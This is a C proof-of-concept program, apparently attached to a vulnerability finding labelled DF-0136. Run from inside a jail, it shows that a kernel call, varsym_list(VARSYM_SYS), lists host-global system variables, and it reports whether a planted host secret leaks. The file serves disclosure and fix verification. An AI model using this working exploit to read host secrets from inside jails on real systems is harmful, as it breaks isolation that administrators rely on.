DF-0136 / leak_check.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 | /* * DF-0136 PoC โ varsym_list(VARSYM_SYS) jail isolation breach. * * Run this binary INSIDE a jail (e.g. via the `jail` command). It demonstrates * that varsym_list(VARSYM_SYS) โ sys/kern/kern_varsym.c:263-264 โ reaches the * host-global varsymset_sys for a jailed process (no jail redirect), unlike * varsym_get()/varsymfind() (:400-408) and varsym_set() (:153-155) which both * redirect VARSYM_SYS to the prison varsymset for jailed creds. * * Expected (BUG present): prints "LEAK_CONFIRMED" โ the host system varsym * DF0136_HOSTSECRET is enumerable from inside the jail. * Expected (FIXED): prints "NO_LEAK" โ host system varsyms are * not reachable; jail-isolation holds. * * Build: cc -o leak_check leak_check.c * Run: jail <path> <host> <ip> /path/to/leak_check */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <sys/varsym.h> #include <sys/sysctl.h> /* libc exposes these but the public header does not prototype them. */ int varsym_list(int level, char *buf, int maxsize, int *marker); int varsym_get(int mask, const char *wild, char *buf, int bufsize); int varsym_set(int level, const char *name, const char *data); static int is_jailed(void) { int v = 0; size_t s = sizeof(v); if (sysctlbyname("jail.jailed", &v, &s, NULL, 0) == 0) return v; return -1; } int main(void) { char buf[4096]; int marker, bytes, leaked = 0, count = 0; char gbuf[256]; printf("[*] jail.jailed = %d\n", is_jailed()); /* ---- The buggy path: varsym_list(VARSYM_SYS=3) ---- */ printf("[*] varsym_list(VARSYM_SYS) enumeration:\n"); marker = 0; for (;;) { errno = 0; bytes = varsym_list(VARSYM_SYS, buf, sizeof(buf), &marker); if (bytes < 0) { printf(" varsym_list() error: %s\n", strerror(errno)); break; } /* Walk the NUL-separated name/data pairs. */ { int b = 0, i; char *vn = NULL; for (i = 0; i < bytes; i++) { if (buf[i] == 0) { if (vn == NULL) { vn = buf + b; } else { char *vd = buf + b; count++; if (strstr(vn, "DF0136_HOSTSECRET")) { printf(" *** LEAKED: %s=%s ***\n", vn, vd); leaked = 1; } vn = NULL; } b = i + 1; } } } if (marker < 0) break; } printf("[*] varsym_list(VARSYM_SYS) enumerated %d system varsyms from " "inside the jail\n", count); /* ---- The correctly-scoped path: varsym_get(VARSYM_SYS_MASK) ---- */ errno = 0; gbuf[0] = 0; bytes = varsym_get(VARSYM_SYS_MASK, "DF0136_HOSTSECRET", gbuf, sizeof(gbuf)); if (bytes >= 0 && bytes <= (int)sizeof(gbuf)) { printf("[*] varsym_get(DF0136_HOSTSECRET) FOUND: '%s' " "(get-path is jail-scoped, but list-path is not)\n", gbuf); } else { printf("[*] varsym_get(DF0136_HOSTSECRET) not found (rc=%d, %s) โ " "get-path correctly jail-scoped\n", bytes, strerror(errno)); } if (leaked) { printf("\nRESULT: LEAK_CONFIRMED โ host system varsyms are enumerable " "from inside a jail via varsym_list(VARSYM_SYS)\n"); return 0; } printf("\nRESULT: NO_LEAK โ jail isolation holds for varsym_list\n"); return 1; } |